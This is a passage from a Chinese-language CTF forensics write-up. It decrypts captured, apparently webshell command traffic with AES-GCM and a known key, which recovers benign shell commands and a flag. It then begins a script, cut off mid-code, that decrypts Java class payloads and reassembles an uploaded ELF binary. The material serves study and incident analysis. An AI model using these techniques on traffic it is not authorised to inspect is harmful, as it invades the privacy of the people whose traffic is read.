2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为其长度不固定，推测不是ECB和CBC，尝试使用常见的CTR和CFB：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter

key = base64.b64decode(&quot;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;)

hex_str = &quot;&quot;&quot;
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
&quot;&quot;&quot;.replace(&apos;\n&apos;, &apos;&apos;).replace(&apos; &apos;, &apos;&apos;)

data = binascii.unhexlify(hex_str)

chunks = []
i = 0
while i &amp;lt; len(data):
    length = int.from_bytes(data[i:i+4], &apos;little&apos;)
    i += 4
    chunk = data[i:i+length]
    chunks.append(chunk)
    i += length


iv=b&apos;\x00&apos; * 16
print(f&quot;iv:0*16&quot;)

print(&quot;ctr:&quot;)
ctr = Counter.new(128, initial_value=int.from_bytes(iv, &apos;big&apos;))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)

print(&quot;cfb:&quot;)
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)

iv=b&apos;\xff&apos; * 16
print(f&quot;iv:ff*16&quot;)

print(&quot;ctr:&quot;)
ctr = Counter.new(128, initial_value=int.from_bytes(iv, &apos;big&apos;))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)

print(&quot;cfb:&quot;)
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)

iv=key[:16]
print(f&quot;iv:key[:16]s&quot;)

print(&quot;ctr:&quot;)
ctr = Counter.new(128, initial_value=int.from_bytes(iv, &apos;big&apos;))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)

print(&quot;cfb:&quot;)
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f&quot;{idx}: len{len(dec)}: {dec}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现没有可读数据：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码部分 - 点击展开&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iv:0*16
ctr:
0: len31: b&apos;\xdc\xcf@\x8fB9&quot;\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4&quot;w9[j\xb8}\xe0\xf9&apos;
1: len36: b&apos;K%\xd7+\xc2K\\A\xf3\x9b\xff&amp;amp;\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{&apos;
2: len30: b&apos;\x04\x8a\xbc\x83&amp;lt;\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4&apos;
3: len31: b&apos;\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85&quot;\xbb\x84H\x0cHz\xd2&apos;
4: len48: b&apos;\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg&apos;
5: len43: b&apos;\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe&apos;
6: len110: b&apos;~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&amp;amp;qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&amp;amp;P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;&apos;
7: len105: b&apos;\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e&quot;#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT&apos;
8: len36: b&apos;U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W&amp;lt;\xee\xa9~\xf3\x0b\xfb\xdc\x02&apos;
9: len31: b&quot;|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&amp;amp;\x8b(\x1f=y\xc869&apos;\xd0b\x9d&quot;
cfb:
0: len31: b&apos;\xdc\xcf@\x8fB9&quot;\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d&apos;
1: len36: b&quot;7\x01\xc0&amp;amp;\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f&apos;\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04&quot;
2: len30: b&apos;S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp&quot;\xdd\xef\xf1P\xf6me&apos;
3: len31: b&apos;)\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80&amp;lt;@\xa6&apos;
4: len48: b&apos;V\x0f\xfc!w\xc5{\x06\xf7&quot;\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03&apos;
5: len43: b&apos;W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&amp;amp;\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O&apos;
6: len110: b&apos;\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r&quot;\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&amp;amp;`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2&apos;
7: len105: b&apos;\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K&amp;gt;\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb&quot;Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&amp;amp;*\x8e\x01(W&apos;
8: len36: b&apos;\x91\x16\xe4x \x12\x9f&quot;\xcbg!G\xa0N\x18\x17&amp;lt;M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88&apos;
9: len31: b&apos;\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5&apos;
iv:ff*16
ctr:
0: len31: b&apos;b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r&amp;lt;\xae)\xb3\xdf&apos;
1: len36: b&apos;O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht&apos;
2: len30: b&apos;Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb&apos;
3: len31: b&apos;\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17&apos;
4: len48: b&apos;O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu&apos;
5: len43: b&apos;\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e&apos;
6: len110: b&apos;JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&amp;amp;\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr&apos;
7: len105: b&apos;m&amp;lt;n2_\xb02\xa8a\x87\x8b\x8b\xf8b&amp;lt;\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae&apos;
8: len36: b&apos;\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c&amp;gt;\xd2\x1b\xb3W&apos;
9: len31: b&apos;Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&amp;amp;\x985\x82\\T\xad\x05\x0c&amp;gt;&apos;
cfb:
0: len31: b&apos;b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d&apos;
1: len36: b&quot;7\x01\xc0&amp;amp;\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f&apos;\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04&quot;
2: len30: b&apos;S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp&quot;\xdd\xef\xf1P\xf6me&apos;
3: len31: b&apos;)\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80&amp;lt;@\xa6&apos;
4: len48: b&apos;V\x0f\xfc!w\xc5{\x06\xf7&quot;\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03&apos;
5: len43: b&apos;W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&amp;amp;\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O&apos;
6: len110: b&apos;\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r&quot;\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&amp;amp;`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2&apos;
7: len105: b&apos;\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K&amp;gt;\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb&quot;Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&amp;amp;*\x8e\x01(W&apos;
8: len36: b&apos;\x91\x16\xe4x \x12\x9f&quot;\xcbg!G\xa0N\x18\x17&amp;lt;M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88&apos;
9: len31: b&apos;\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5&apos;
iv:key[:16]s
ctr:
0: len31: b&apos;\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,&apos;
1: len36: b&apos;B\x1c&quot;\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6&apos;
2: len30: b&quot;\xe3\xcb\x99\x98&apos;\x7f \xfa\x80\x14Y&amp;gt;}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n&amp;lt;&quot;
3: len31: b&apos;$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81&amp;lt;\xa4\x8d\x9f\xbd\x070\xbf&apos;
4: len48: b&apos;\xd7\xf2x&quot;\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03&apos;
5: len43: b&quot;\xbb\x8a\xdf&apos;f\xe0-\x98\x96%-\xdb&amp;gt;W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5&quot;
6: len110: b&apos;0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|&amp;gt;\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@&quot;\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.&apos;
7: len105: b&quot;\xe8\xe4\xe5&apos;5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d&amp;gt;\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X&apos;I\xd1$\x03A\xd2Z\xaah\xc5Q&amp;gt;\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01&quot;
8: len36: b&quot;8\x01A\xe1\xea&amp;lt;O\x81{2\xdaw\xa6\xc6\x83uP&apos;\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb&quot;
9: len31: b&apos;\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.&apos;
cfb:
0: len31: b&apos;\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d&apos;
1: len36: b&quot;7\x01\xc0&amp;amp;\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f&apos;\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04&quot;
2: len30: b&apos;S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp&quot;\xdd\xef\xf1P\xf6me&apos;
3: len31: b&apos;)\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80&amp;lt;@\xa6&apos;
4: len48: b&apos;V\x0f\xfc!w\xc5{\x06\xf7&quot;\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03&apos;
5: len43: b&apos;W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&amp;amp;\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O&apos;
6: len110: b&apos;\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r&quot;\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&amp;amp;`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2&apos;
7: len105: b&apos;\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K&amp;gt;\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb&quot;Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&amp;amp;*\x8e\x01(W&apos;
8: len36: b&apos;\x91\x16\xe4x \x12\x9f&quot;\xcbg!G\xa0N\x18\x17&amp;lt;M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88&apos;
9: len31: b&apos;\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后尝试到GCM发现可能性很大，首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符，如果对应前面发现的测试时惯用的指令&lt;code&gt;pwd&lt;/code&gt;和&lt;code&gt;ls&lt;/code&gt;，能够对应上剩下28个固定字符，符合GCM的特征。尝试使用GCM解密：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import binascii
from Crypto.Cipher import AES

key = base64.b64decode(&quot;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;)

hex_str = &quot;&quot;&quot;
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
&quot;&quot;&quot;.replace(&apos;\n&apos;, &apos;&apos;).replace(&apos; &apos;, &apos;&apos;)

data = binascii.unhexlify(hex_str)

i = 0
chunk_idx = 0
while i &amp;lt; len(data):
    length = int.from_bytes(data[i:i+4], &apos;little&apos;)
    i += 4
    
    chunk = data[i:i+length]
    i += length
    
    nonce = chunk[:12]
    ciphertext = chunk[12:-16]
    tag = chunk[-16:]
    
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f&quot;{chunk_idx}: len{len(plaintext)}: {plaintext}&quot;)
        
    chunk_idx += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: len3: b&apos;pwd&apos;
1: len8: b&apos;/var/tmp&apos;
2: len2: b&apos;ls&apos;
3: len3: b&apos;out&apos;
4: len20: b&apos;echo Congratulations&apos;
5: len15: b&apos;Congratulations&apos;
6: len82: b&apos;echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&apos;
7: len77: b&apos;3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&apos;
8: len8: b&apos;echo bye&apos;
9: len3: b&apos;bye&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将&lt;code&gt;3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&lt;/code&gt;丢进CyberChef，Base58+Base64解密后得到Flag：&lt;code&gt;dart{d9850b27-85cb-4777-85e0-df0b78fdb722}&lt;/code&gt;
&lt;img src=&quot;./images/2026/03/844596917.png&quot; alt=&quot;Pasted image 20260314134936.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;后续在尝试完整提取并逆向其中分片上传的二进制，因为发现payload本身有个&lt;code&gt;blockIndex&lt;/code&gt;，用于索引当前是第几部分。
让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import re
import base64
import subprocess
import concurrent.futures
from Crypto.Cipher import AES

# --- 配置区 ---
KEY = b&quot;1f2c8075acd3d118&quot;
DIR = &quot;export&quot;               # Wireshark 导出的 HTTP 对象所在文件夹
OUTPUT = &quot;real_out.elf&quot;        # 最终合并生成的文件
CFR_JAR_PATH = &quot;cfr.jar&quot; # 替换为你下载的 cfr.jar 的实际文件名
MAX_WORKERS = 16               # 线程数：你可以根据 CPU 核心数调大，比如 16、32

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b&quot;&quot;

def decompile_and_extract(class_file_path):
    try:
        result = subprocess.run(
            [&apos;java&apos;, &apos;-jar&apos;, CFR_JAR_PATH, class_file_path],
            capture_output=True,
            text=True,
            check=True
        )
        source_code = result.stdout
        
        index_pattern = r&apos;blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*&quot;(\d+)&quot;&apos;
        content_pattern = r&apos;content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*&quot;([A-Za-z0-9+/=]+)&quot;&apos;
        
        index_match = re.search(index_pattern, source_code)
        content_match = re.search(content_pattern, source_code)
        
        if index_match and content_match:
            return int(index_match.group(1)), content_match.group(1)
            
    except Exception as e:
        pass
    
    return None, None

def process_single_file(fname):
    &quot;&quot;&quot;
    单个线程执行的任务：读取、解密、写临时文件、反编译、提取、清理临时文件
    &quot;&quot;&quot;
    path = os.path.join(DIR, fname)
    with open(path, &quot;rb&quot;) as f:
        body = f.read().strip()
        
    java_class_bytes = decrypt_to_class(body)
    
    if java_class_bytes.startswith(b&quot;\xca\xfe\xba\xbe&quot;):
        # 确保每个线程的临时文件名唯一，防止冲突
        temp_class = f&quot;temp_{fname}.class&quot;
        with open(temp_class, &quot;wb&quot;) as f:
            f.write(java_class_bytes)
        
        block_idx, content_b64 = decompile_and_extract(temp_class)
        
        # 清理临时文件
        if os.path.exists(temp_class):
            os.remove(temp_class)
        
        if block_idx is not None and content_b64 is not None:
            try:
                actual_chunk = base64.b64decode(content_b64)
